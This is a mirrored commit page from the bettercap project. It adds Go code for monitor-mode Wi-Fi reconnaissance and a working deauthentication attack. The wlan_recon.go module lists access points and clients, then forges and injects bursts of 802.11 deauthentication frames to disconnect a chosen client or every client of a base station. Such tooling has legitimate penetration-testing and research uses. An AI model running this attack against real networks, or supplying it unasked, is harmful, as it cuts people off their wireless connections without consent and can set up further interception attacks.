mirror of
https://github.com/bettercap/bettercap
synced 2025-07-16 10:03:39 -07:00
Added support to 802.11 and deauth attack
This commit is contained in:
parent
fd28eadc60
commit
34eda04d59
3 changed files with 598 additions and 0 deletions
1
main.go
1
main.go
|
@ -49,6 +49,7 @@ func main() {
|
|||
sess.Register(modules.NewHttpsProxy(sess))
|
||||
sess.Register(modules.NewRestAPI(sess))
|
||||
sess.Register(modules.NewWOL(sess))
|
||||
sess.Register(modules.NewWDiscovery(sess))
|
||||
|
||||
if err = sess.Start(); err != nil {
|
||||
log.Fatal("%s", err)
|
||||
|
|
467
modules/wlan_recon.go
Normal file
467
modules/wlan_recon.go
Normal file
|
@ -0,0 +1,467 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
//"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/core"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
|
||||
//"github.com/dustin/go-humanize"
|
||||
"github.com/olekukonko/tablewriter"
|
||||
)
|
||||
|
||||
const IPV4_MULTICAST_ADDR_START = "01:00:5e:00:00:00"
|
||||
const IPV4_MULTICAST_ADDR_END = "01:00:5e:7f:ff:ff"
|
||||
const BROADCAST_MAC = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
const MAC48Validator = "((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))"
|
||||
|
||||
type WDiscovery struct {
|
||||
session.SessionModule
|
||||
Targets *WlanTargets
|
||||
|
||||
ClientTarget net.HardwareAddr
|
||||
BSTarget net.HardwareAddr
|
||||
|
||||
Handle *pcap.Handle
|
||||
BroadcastMac []byte
|
||||
}
|
||||
|
||||
func NewWDiscovery(s *session.Session) *WDiscovery {
|
||||
w := &WDiscovery{
|
||||
SessionModule: session.NewSessionModule("wlan.recon", s),
|
||||
ClientTarget: make([]byte, 0),
|
||||
BSTarget: make([]byte, 0),
|
||||
}
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.recon on", "",
|
||||
"Start wireless Base Station discovery.",
|
||||
func(args []string) error {
|
||||
return w.Start()
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.recon off", "",
|
||||
"Stop wireless Base Station discovery.",
|
||||
func(args []string) error {
|
||||
return w.Stop()
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.deauth", "",
|
||||
"Send Deauthentication attack on the targets (use ticker to iterate the attack).",
|
||||
func(args []string) error {
|
||||
return w.SendDeauth()
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.recon set client MAC", "wlan.recon set client ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))",
|
||||
"Set Client to deauth (single target).",
|
||||
func(args []string) error {
|
||||
var err error
|
||||
w.ClientTarget, err = net.ParseMAC(args[0])
|
||||
return err
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.recon clear client", "",
|
||||
"Remove Client to deauth.",
|
||||
func(args []string) error {
|
||||
w.ClientTarget = make([]byte, 0)
|
||||
return nil
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.recon set bs MAC", "wlan.recon set bs ((?:[0-9A-Fa-f]{2}[:-]){5}(?:[0-9A-Fa-f]{2}))",
|
||||
"Set Base Station to filter.",
|
||||
func(args []string) error {
|
||||
var err error
|
||||
if w.Targets != nil {
|
||||
w.Targets.ClearAll()
|
||||
}
|
||||
w.BSTarget, err = net.ParseMAC(args[0])
|
||||
return err
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.recon clear bs", "",
|
||||
"Remove the Base Station filter.",
|
||||
func(args []string) error {
|
||||
fmt.Println("Clear BS")
|
||||
if w.Targets != nil {
|
||||
w.Targets.ClearAll()
|
||||
}
|
||||
w.BSTarget = make([]byte, 0)
|
||||
return nil
|
||||
}))
|
||||
|
||||
w.AddHandler(session.NewModuleHandler("wlan.show", "",
|
||||
"Show current hosts list (default sorting by essid).",
|
||||
func(args []string) error {
|
||||
return w.Show("essid")
|
||||
}))
|
||||
|
||||
return w
|
||||
}
|
||||
|
||||
func (w WDiscovery) Name() string {
|
||||
return "wlan.recon"
|
||||
}
|
||||
|
||||
func (w WDiscovery) Description() string {
|
||||
return "Sniff 802.11 packets and perform some attack."
|
||||
}
|
||||
|
||||
func (w WDiscovery) Author() string {
|
||||
return "Gianluca Braga <matrix86@protonmail.com>"
|
||||
}
|
||||
|
||||
func (w *WDiscovery) getRow(e *WlanEndpoint) []string {
|
||||
sinceStarted := time.Since(w.Session.StartedAt)
|
||||
sinceFirstSeen := time.Since(e.Endpoint.FirstSeen)
|
||||
|
||||
mac := e.Endpoint.HwAddress
|
||||
if w.Targets.WasMissed(e.Endpoint.HwAddress) == true {
|
||||
// if endpoint was not found at least once
|
||||
mac = core.Dim(mac)
|
||||
} else if sinceStarted > (justJoinedTimeInterval*2) && sinceFirstSeen <= justJoinedTimeInterval {
|
||||
// if endpoint was first seen in the last 10 seconds
|
||||
mac = core.Bold(mac)
|
||||
}
|
||||
|
||||
name := ""
|
||||
if e.Endpoint == w.Session.Interface {
|
||||
name = e.Endpoint.Name()
|
||||
} else if e.Endpoint.Hostname != "" {
|
||||
name = core.Yellow(e.Endpoint.Hostname)
|
||||
} else if e.Endpoint.Alias != "" {
|
||||
name = core.Green(e.Endpoint.Alias)
|
||||
}
|
||||
|
||||
seen := e.Endpoint.LastSeen.Format("15:04:05")
|
||||
sinceLastSeen := time.Since(e.Endpoint.LastSeen)
|
||||
if sinceStarted > aliveTimeInterval && sinceLastSeen <= aliveTimeInterval {
|
||||
// if endpoint seen in the last 10 seconds
|
||||
seen = core.Bold(seen)
|
||||
} else if sinceLastSeen <= presentTimeInterval {
|
||||
// if endpoint seen in the last 60 seconds
|
||||
} else {
|
||||
// not seen in a while
|
||||
seen = core.Dim(seen)
|
||||
}
|
||||
|
||||
return []string{
|
||||
mac,
|
||||
name,
|
||||
e.Essid,
|
||||
e.Endpoint.Vendor,
|
||||
strconv.Itoa(e.Channel),
|
||||
seen,
|
||||
}
|
||||
}
|
||||
|
||||
func WlanMhzToChannel(freq int) int {
|
||||
if freq <= 2484 {
|
||||
return ((freq - 2412) / 5) + 1
|
||||
}
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
type ByEssidSorter []*WlanEndpoint
|
||||
|
||||
func (a ByEssidSorter) Len() int { return len(a) }
|
||||
func (a ByEssidSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
|
||||
func (a ByEssidSorter) Less(i, j int) bool {
|
||||
if a[i].Essid == a[j].Essid {
|
||||
return a[i].Endpoint.HwAddress < a[j].Endpoint.HwAddress
|
||||
}
|
||||
return a[i].Essid < a[j].Essid
|
||||
}
|
||||
|
||||
type ByWlanSeenSorter []*WlanEndpoint
|
||||
|
||||
func (a ByWlanSeenSorter) Len() int { return len(a) }
|
||||
func (a ByWlanSeenSorter) Swap(i, j int) { a[i], a[j] = a[j], a[i] }
|
||||
func (a ByWlanSeenSorter) Less(i, j int) bool {
|
||||
return a[i].Endpoint.LastSeen.After(a[j].Endpoint.LastSeen)
|
||||
}
|
||||
|
||||
func (w *WDiscovery) showTable(header []string, rows [][]string) {
|
||||
fmt.Println()
|
||||
table := tablewriter.NewWriter(os.Stdout)
|
||||
table.SetHeader(header)
|
||||
table.SetColWidth(80)
|
||||
table.AppendBulk(rows)
|
||||
table.Render()
|
||||
}
|
||||
|
||||
func (w *WDiscovery) Show(by string) error {
|
||||
if w.Targets == nil {
|
||||
return errors.New("Targets are not yet initialized")
|
||||
}
|
||||
|
||||
targets := w.Targets.List()
|
||||
if by == "seen" {
|
||||
sort.Sort(ByWlanSeenSorter(targets))
|
||||
} else {
|
||||
sort.Sort(ByEssidSorter(targets))
|
||||
}
|
||||
|
||||
rows := make([][]string, 0)
|
||||
for _, t := range targets {
|
||||
rows = append(rows, w.getRow(t))
|
||||
}
|
||||
|
||||
w.showTable([]string{"MAC", "ALIAS", "SSID", "Vendor", "Channel", "Last Seen"}, rows)
|
||||
|
||||
//fmt.Printf("\n%s %s / %s %s / %d pkts / %d errs\n\n",
|
||||
// core.Red("↑"),
|
||||
// humanize.Bytes(atomic.LoadUint64(&w.Session.Queue.Sent)),
|
||||
// core.Green("↓"),
|
||||
// humanize.Bytes(atomic.LoadUint64(&w.Session.Queue.Received)),
|
||||
// atomic.LoadUint64(&w.Session.Queue.PktReceived),
|
||||
// atomic.LoadUint64(&w.Session.Queue.Errors))
|
||||
|
||||
s := EventsStream{}
|
||||
events := w.Session.Events.Sorted()
|
||||
size := len(events)
|
||||
|
||||
if size > 0 {
|
||||
max := 20
|
||||
if size > max {
|
||||
from := size - max
|
||||
size = max
|
||||
events = events[from:]
|
||||
}
|
||||
|
||||
fmt.Printf("Last %d events:\n\n", size)
|
||||
|
||||
for _, e := range events {
|
||||
s.View(e, false)
|
||||
}
|
||||
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
w.Session.Refresh()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WDiscovery) buildDeauthPkt(address1 net.HardwareAddr, address2 net.HardwareAddr, address3 net.HardwareAddr, _type layers.Dot11Type, reason layers.Dot11Reason, seq uint16) []byte {
|
||||
var (
|
||||
deauthLayer layers.Dot11MgmtDeauthentication
|
||||
dot11Layer layers.Dot11
|
||||
radioTapLayer layers.RadioTap
|
||||
)
|
||||
|
||||
deauthLayer.Reason = reason
|
||||
|
||||
dot11Layer.Address1 = address1
|
||||
dot11Layer.Address2 = address2
|
||||
dot11Layer.Address3 = address3
|
||||
dot11Layer.Type = _type
|
||||
dot11Layer.SequenceNumber = seq
|
||||
|
||||
buffer := gopacket.NewSerializeBuffer()
|
||||
gopacket.SerializeLayers(buffer,
|
||||
gopacket.SerializeOptions{
|
||||
ComputeChecksums: true,
|
||||
FixLengths: true,
|
||||
},
|
||||
&radioTapLayer,
|
||||
&dot11Layer,
|
||||
&deauthLayer,
|
||||
)
|
||||
|
||||
return buffer.Bytes()
|
||||
}
|
||||
|
||||
func (w *WDiscovery) SendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
|
||||
var pkt []byte
|
||||
var err error
|
||||
|
||||
var seq uint16
|
||||
for seq = 0; seq < 64; seq++ {
|
||||
pkt = w.buildDeauthPkt(ap, client, ap, layers.Dot11TypeMgmtDeauthentication, layers.Dot11ReasonClass2FromNonAuth, seq)
|
||||
err = w.Handle.WritePacketData(pkt)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
time.Sleep(2 * time.Millisecond)
|
||||
|
||||
pkt = w.buildDeauthPkt(client, ap, ap, layers.Dot11TypeMgmtDeauthentication, layers.Dot11ReasonClass2FromNonAuth, seq)
|
||||
err = w.Handle.WritePacketData(pkt)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
time.Sleep(2 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WDiscovery) SendDeauth() error {
|
||||
switch {
|
||||
case len(w.BSTarget) > 0 && len(w.ClientTarget) > 0:
|
||||
w.SendDeauthPacket(w.BSTarget, w.ClientTarget)
|
||||
|
||||
case len(w.BSTarget) > 0:
|
||||
for _, t := range w.Targets.Targets {
|
||||
w.SendDeauthPacket(w.BSTarget, t.Endpoint.HW)
|
||||
}
|
||||
|
||||
default:
|
||||
fmt.Println("Base Station is not setted.")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WDiscovery) BSScan(packet gopacket.Packet) {
|
||||
var bssid string
|
||||
var dst net.HardwareAddr
|
||||
var ssid string
|
||||
var channel int
|
||||
|
||||
radiotapLayer := packet.Layer(layers.LayerTypeRadioTap)
|
||||
if radiotapLayer == nil {
|
||||
return
|
||||
}
|
||||
|
||||
radiotap, _ := radiotapLayer.(*layers.RadioTap)
|
||||
|
||||
//! InformationElement Layer found
|
||||
dot11infoLayer := packet.Layer(layers.LayerTypeDot11InformationElement)
|
||||
if dot11infoLayer == nil {
|
||||
return
|
||||
}
|
||||
|
||||
dot11info, _ := dot11infoLayer.(*layers.Dot11InformationElement)
|
||||
if dot11info.ID != layers.Dot11InformationElementIDSSID {
|
||||
return
|
||||
}
|
||||
|
||||
//! Dot11 Layer Found
|
||||
dot11Layer := packet.Layer(layers.LayerTypeDot11)
|
||||
if dot11Layer == nil {
|
||||
return
|
||||
}
|
||||
|
||||
dot11, _ := dot11Layer.(*layers.Dot11)
|
||||
ssid = string(dot11info.Info)
|
||||
bssid = dot11.Address3.String()
|
||||
dst = dot11.Address1
|
||||
|
||||
if bytes.Compare(dst, w.BroadcastMac) == 0 && len(ssid) > 0 {
|
||||
channel = WlanMhzToChannel(int(radiotap.ChannelFrequency))
|
||||
w.Targets.AddIfNew(ssid, bssid, true, channel)
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WDiscovery) ClientScan(bs net.HardwareAddr, packet gopacket.Packet) {
|
||||
|
||||
radiotapLayer := packet.Layer(layers.LayerTypeRadioTap)
|
||||
if radiotapLayer == nil {
|
||||
return
|
||||
}
|
||||
|
||||
radiotap, _ := radiotapLayer.(*layers.RadioTap)
|
||||
|
||||
dot11Layer := packet.Layer(layers.LayerTypeDot11)
|
||||
if dot11Layer == nil {
|
||||
return
|
||||
}
|
||||
|
||||
dot11, _ := dot11Layer.(*layers.Dot11)
|
||||
if dot11.Type.MainType() != layers.Dot11TypeData {
|
||||
return
|
||||
}
|
||||
|
||||
toDS := dot11.Flags.ToDS()
|
||||
fromDS := dot11.Flags.FromDS()
|
||||
|
||||
if toDS && !fromDS {
|
||||
src := dot11.Address2
|
||||
//dst := dot11.Address3
|
||||
bssid := dot11.Address1
|
||||
|
||||
if bytes.Compare(bssid, bs) == 0 {
|
||||
channel := WlanMhzToChannel(int(radiotap.ChannelFrequency))
|
||||
w.Targets.AddIfNew("", src.String(), false, channel)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (w *WDiscovery) Configure() error {
|
||||
var err error
|
||||
|
||||
w.Targets = NewWlanTargets(w.Session, w.Session.Interface)
|
||||
|
||||
w.BroadcastMac, _ = net.ParseMAC(BROADCAST_MAC)
|
||||
|
||||
inactive, err := pcap.NewInactiveHandle(w.Session.Interface.Name())
|
||||
defer inactive.CleanUp()
|
||||
|
||||
if err = inactive.SetRFMon(true); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = inactive.SetSnapLen(65536); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = inactive.SetTimeout(pcap.BlockForever); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
w.Handle, err = inactive.Activate()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WDiscovery) Start() error {
|
||||
if w.Running() == true {
|
||||
return session.ErrAlreadyStarted
|
||||
} else if err := w.Configure(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
w.SetRunning(true, func() {
|
||||
defer w.Handle.Close()
|
||||
|
||||
src := gopacket.NewPacketSource(w.Handle, w.Handle.LinkType())
|
||||
for packet := range src.Packets() {
|
||||
if w.Running() == false {
|
||||
break
|
||||
}
|
||||
|
||||
if len(w.BSTarget) > 0 {
|
||||
w.ClientScan(w.BSTarget, packet)
|
||||
} else {
|
||||
w.BSScan(packet)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *WDiscovery) Stop() error {
|
||||
if w.Running() == false {
|
||||
return session.ErrAlreadyStopped
|
||||
}
|
||||
|
||||
return w.SetRunning(false, func() {
|
||||
})
|
||||
}
|
130
modules/wlan_targets.go
Normal file
130
modules/wlan_targets.go
Normal file
|
@ -0,0 +1,130 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
bnet "github.com/evilsocket/bettercap-ng/network"
|
||||
session "github.com/evilsocket/bettercap-ng/session"
|
||||
)
|
||||
|
||||
const TargetsDefaultTTL = 30
|
||||
|
||||
type WlanEndpoint struct {
|
||||
Endpoint *bnet.Endpoint
|
||||
Essid string
|
||||
IsAP bool
|
||||
Channel int
|
||||
}
|
||||
|
||||
func NewWlanEndpoint(essid, mac string, isAp bool, channel int) *WlanEndpoint {
|
||||
e := bnet.NewEndpointNoResolve("0.0.0.0", mac, "", 0)
|
||||
|
||||
we := &WlanEndpoint{
|
||||
Endpoint: e,
|
||||
Essid: essid,
|
||||
IsAP: isAp,
|
||||
Channel: channel,
|
||||
}
|
||||
|
||||
return we
|
||||
}
|
||||
|
||||
type WlanTargets struct {
|
||||
sync.Mutex
|
||||
|
||||
Session *session.Session `json:"-"`
|
||||
Interface *bnet.Endpoint
|
||||
Targets map[string]*WlanEndpoint
|
||||
TTL map[string]uint
|
||||
Aliases map[string]string
|
||||
}
|
||||
|
||||
func NewWlanTargets(s *session.Session, iface *bnet.Endpoint) *WlanTargets {
|
||||
t := &WlanTargets{
|
||||
Session: s,
|
||||
Interface: iface,
|
||||
Targets: make(map[string]*WlanEndpoint),
|
||||
TTL: make(map[string]uint),
|
||||
Aliases: s.Targets.Aliases,
|
||||
}
|
||||
|
||||
return t
|
||||
}
|
||||
|
||||
func (tp *WlanTargets) List() (list []*WlanEndpoint) {
|
||||
tp.Lock()
|
||||
defer tp.Unlock()
|
||||
|
||||
list = make([]*WlanEndpoint, 0)
|
||||
for _, t := range tp.Targets {
|
||||
list = append(list, t)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (tp *WlanTargets) WasMissed(mac string) bool {
|
||||
if mac == tp.Session.Interface.HwAddress {
|
||||
return false
|
||||
}
|
||||
|
||||
tp.Lock()
|
||||
defer tp.Unlock()
|
||||
|
||||
if ttl, found := tp.TTL[mac]; found == true {
|
||||
return ttl < TargetsDefaultTTL
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (tp *WlanTargets) Remove(mac string) {
|
||||
tp.Lock()
|
||||
defer tp.Unlock()
|
||||
|
||||
if e, found := tp.Targets[mac]; found {
|
||||
tp.TTL[mac]--
|
||||
if tp.TTL[mac] == 0 {
|
||||
tp.Session.Events.Add("endpoint.lost", e.Endpoint)
|
||||
delete(tp.Targets, mac)
|
||||
delete(tp.TTL, mac)
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (tp *WlanTargets) AddIfNew(ssid, mac string, isAp bool, channel int) *WlanEndpoint {
|
||||
tp.Lock()
|
||||
defer tp.Unlock()
|
||||
|
||||
mac = bnet.NormalizeMac(mac)
|
||||
if t, found := tp.Targets[mac]; found {
|
||||
if tp.TTL[mac] < TargetsDefaultTTL {
|
||||
tp.TTL[mac]++
|
||||
}
|
||||
|
||||
tp.Targets[mac].Endpoint.LastSeen = time.Now()
|
||||
|
||||
return t
|
||||
}
|
||||
|
||||
e := NewWlanEndpoint(ssid, mac, isAp, channel)
|
||||
|
||||
if alias, found := tp.Aliases[mac]; found {
|
||||
e.Endpoint.Alias = alias
|
||||
}
|
||||
|
||||
tp.Targets[mac] = e
|
||||
tp.TTL[mac] = TargetsDefaultTTL
|
||||
|
||||
tp.Session.Events.Add("endpoint.new", e.Endpoint)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (tp *WlanTargets) ClearAll() error {
|
||||
tp.Targets = make(map[string]*WlanEndpoint)
|
||||
tp.TTL = make(map[string]uint)
|
||||
tp.Aliases = make(map[string]string)
|
||||
|
||||
return nil
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue